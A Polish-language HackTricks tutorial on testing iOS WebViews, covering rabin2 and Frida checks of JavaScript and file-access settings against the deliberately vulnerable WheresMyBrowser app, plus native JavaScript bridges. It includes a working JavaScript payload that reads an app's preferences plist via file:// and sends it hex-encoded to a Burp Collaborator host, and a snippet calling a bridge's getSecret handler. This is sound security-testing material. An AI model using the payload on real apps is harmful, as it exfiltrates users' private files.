iOS WebViews
Reading time: 10 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Kod tej strony został wyciągnięty z tutaj. Sprawdź stronę, aby uzyskać więcej szczegółów.
Typy WebViews
WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcjonalności i cechy bezpieczeństwa dla aplikacji iOS. Oto krótki przegląd:
-
UIWebView, który nie jest już zalecany od iOS 12 ze względu na brak wsparcia dla wyłączania JavaScript, co czyni go podatnym na wstrzykiwanie skryptów i ataki Cross-Site Scripting (XSS).
-
WKWebView jest preferowaną opcją do włączania treści internetowych w aplikacjach, oferującą lepszą kontrolę nad treścią i funkcjami bezpieczeństwa. JavaScript jest domyślnie włączony, ale można go wyłączyć, jeśli zajdzie taka potrzeba. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że wszystkie treści są ładowane w sposób bezpieczny. Dodatkowo, architektura WKWebView minimalizuje ryzyko uszkodzenia pamięci wpływającego na główny proces aplikacji.
-
SFSafariViewController oferuje ustandaryzowane doświadczenie przeglądania internetu w aplikacjach, rozpoznawalne dzięki swojemu specyficznemu układowi, w tym polu adresowym tylko do odczytu, przyciskom udostępniania i nawigacji oraz bezpośredniemu linkowi do otwierania treści w Safari. W przeciwieństwie do WKWebView, JavaScript nie może być wyłączony w SFSafariViewController, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika w aplikacji. Musi być wyświetlany w sposób wyraźny zgodnie z wytycznymi App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Podsumowanie eksploracji konfiguracji WebViews
Przegląd analizy statycznej
W procesie badania konfiguracji WebViews skupia się na dwóch głównych typach: UIWebView i WKWebView. Do identyfikacji tych WebViews w binarnym pliku wykorzystuje się polecenia, które wyszukują konkretne odniesienia do klas i metody inicjalizacji.
- Identyfikacja UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
To polecenie pomaga w lokalizowaniu instancji UIWebView poprzez wyszukiwanie ciągów tekstowych związanych z nim w binarnym.
- Identyfikacja WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Podobnie, dla WKWebView, to polecenie przeszukuje binarny plik w poszukiwaniu ciągów tekstowych wskazujących na jego użycie.
Ponadto, aby znaleźć, jak WKWebView jest inicjowany, wykonuje się następujące polecenie, celując w sygnaturę metody związaną z jego inicjalizacją:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Weryfikacja konfiguracji JavaScript
Dla WKWebView podkreśla się, że wyłączenie JavaScriptu jest najlepszą praktyką, chyba że jest to konieczne. Przeszukuje się skompilowany plik binarny, aby potwierdzić, że właściwość javaScriptEnabled
jest ustawiona na false
, co zapewnia, że JavaScript jest wyłączony:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Tylko Weryfikacja Zawartości Bezpieczeństwa
WKWebView oferuje możliwość identyfikacji problemów z mieszanym kontentem, w przeciwieństwie do UIWebView. Sprawdza się to za pomocą właściwości hasOnlySecureContent
, aby upewnić się, że wszystkie zasoby strony są ładowane przez bezpieczne połączenia. Wyszukiwanie w skompilowanym binarnym odbywa się w następujący sposób:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Wnioski z analizy dynamicznej
Analiza dynamiczna polega na inspekcji sterty w poszukiwaniu instancji WebView i ich właściwości. W tym celu używany jest skrypt o nazwie webviews_inspector.js
, który celuje w instancje UIWebView
, WKWebView
i SFSafariViewController
. Rejestruje on informacje o znalezionych instancjach, w tym URL-e oraz ustawienia związane z JavaScript i zabezpieczoną zawartością.
Inspekcję sterty można przeprowadzić za pomocą ObjC.choose()
, aby zidentyfikować instancje WebView i sprawdzić właściwości javaScriptEnabled
oraz hasonlysecurecontent
.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Skrypt jest wykonywany za pomocą:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Kluczowe wyniki:
- Instancje WebViews zostały pomyślnie zlokalizowane i zbadane.
- Weryfikacja włączenia JavaScript i ustawień zabezpieczeń treści została przeprowadzona.
To podsumowanie obejmuje kluczowe kroki i polecenia związane z analizowaniem konfiguracji WebView za pomocą podejść statycznych i dynamicznych, koncentrując się na funkcjach zabezpieczeń, takich jak włączenie JavaScript i wykrywanie mieszanej treści.
Obsługa protokołów WebView
Obsługa treści w WebViews jest kluczowym aspektem, szczególnie w przypadku różnych protokołów, takich jak http(s)://
, file://
i tel://
. Protokoły te umożliwiają ładowanie zarówno zdalnych, jak i lokalnych treści w aplikacjach. Podkreśla się, że podczas ładowania lokalnych treści należy podjąć środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę lub ścieżkę pliku oraz na edytowanie samej treści.
WebViews oferują różne metody ładowania treści. Dla UIWebView, obecnie przestarzałego, używane są metody takie jak loadHTMLString:baseURL:
i loadData:MIMEType:textEncodingName:baseURL:
. WKWebView z kolei wykorzystuje loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
oraz loadRequest:
do treści internetowych. Metody takie jak pathForResource:ofType:
, URLForResource:withExtension:
i init(contentsOf:encoding:)
są zazwyczaj wykorzystywane do ładowania lokalnych plików. Metoda loadFileURL:allowingReadAccessToURL:
jest szczególnie godna uwagi ze względu na swoją zdolność do ładowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawniać wrażliwe dane, jeśli określony jest katalog.
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym binarnym, można użyć poleceń takich jak poniższe:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Jeśli chodzi o dostęp do plików, UIWebView pozwala na to uniwersalnie, podczas gdy WKWebView wprowadza ustawienia allowFileAccessFromFileURLs
i allowUniversalAccessFromFileURLs
do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na fałsz.
Przykład skryptu Frida jest podany, aby sprawdzić konfiguracje WKWebView dla ustawień bezpieczeństwa:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Na koniec, przykład ładunku JavaScript mającego na celu eksfiltrację lokalnych plików ilustruje potencjalne ryzyko bezpieczeństwa związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie hex przed przesłaniem ich na serwer, podkreślając znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Metody natywne udostępnione przez WebViews
Zrozumienie interfejsów natywnych WebView w iOS
Od iOS 7 Apple udostępniło API do komunikacji między JavaScript w WebView a natywnymi obiektami Swift lub Objective-C. Ta integracja jest głównie ułatwiana przez dwie metody:
- JSContext: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest powiązany z identyfikatorem w
JSContext
. Umożliwia to płynne połączenie i komunikację między JavaScript a kodem natywnym. - JSExport Protocol: Poprzez dziedziczenie protokołu
JSExport
, natywne właściwości, metody instancji i metody klasowe mogą być udostępniane JavaScript. Oznacza to, że wszelkie zmiany wprowadzone w środowisku JavaScript są odzwierciedlane w środowisku natywnym i odwrotnie. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są przypadkowo ujawniane za pomocą tej metody.
Uzyskiwanie dostępu do JSContext
w Objective-C
W Objective-C JSContext
dla UIWebView
można uzyskać za pomocą następującej linii kodu:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Komunikacja z WKWebView
Dla WKWebView
bezpośredni dostęp do JSContext
nie jest dostępny. Zamiast tego, wykorzystywane jest przesyłanie wiadomości za pomocą funkcji postMessage
, co umożliwia komunikację JavaScript z natywną aplikacją. Obsługiwacze tych wiadomości są ustawiane w następujący sposób, co umożliwia JavaScript bezpieczną interakcję z natywną aplikacją:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interakcja i testowanie
JavaScript może wchodzić w interakcję z warstwą natywną, definiując obsługę wiadomości skryptu. Umożliwia to operacje takie jak wywoływanie funkcji natywnych z poziomu strony internetowej:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można nadpisać funkcję zwrotną w HTML:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie JavaScriptBridgeMessageHandler
, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
Debugging iOS WebViews
(Tutorial oparty na tym z https://blog.vuplex.com/debugging-webviews)
Aby skutecznie debugować treści internetowe w webview iOS, wymagane jest specyficzne ustawienie z wykorzystaniem narzędzi dewelopera Safari, ponieważ wiadomości wysyłane do console.log()
nie są wyświetlane w logach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:
-
Przygotowanie na urządzeniu iOS: Należy aktywować Web Inspector Safari na swoim urządzeniu iOS. Można to zrobić, przechodząc do Ustawienia > Safari > Zaawansowane i włączając Web Inspector.
-
Przygotowanie na urządzeniu macOS: Na swoim komputerze deweloperskim macOS musisz włączyć narzędzia dewelopera w Safari. Uruchom Safari, przejdź do Safari > Preferencje > Zaawansowane i wybierz opcję Pokaż menu Rozwój.
-
Połączenie i debugowanie: Po podłączeniu urządzenia iOS do komputera macOS i uruchomieniu aplikacji, użyj Safari na swoim urządzeniu macOS, aby wybrać webview, które chcesz debugować. Przejdź do Rozwój w pasku menu Safari, najedź na nazwę swojego urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz zbadać. Otworzy się nowe okno Web Inspector Safari w tym celu.
Jednak pamiętaj o ograniczeniach:
- Debugowanie tą metodą wymaga urządzenia macOS, ponieważ opiera się na Safari.
- Tylko webview w aplikacjach załadowanych na twoje urządzenie przez Xcode są kwalifikowane do debugowania. Webview w aplikacjach zainstalowanych za pośrednictwem App Store lub Apple Configurator nie mogą być debugowane w ten sposób.
References
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.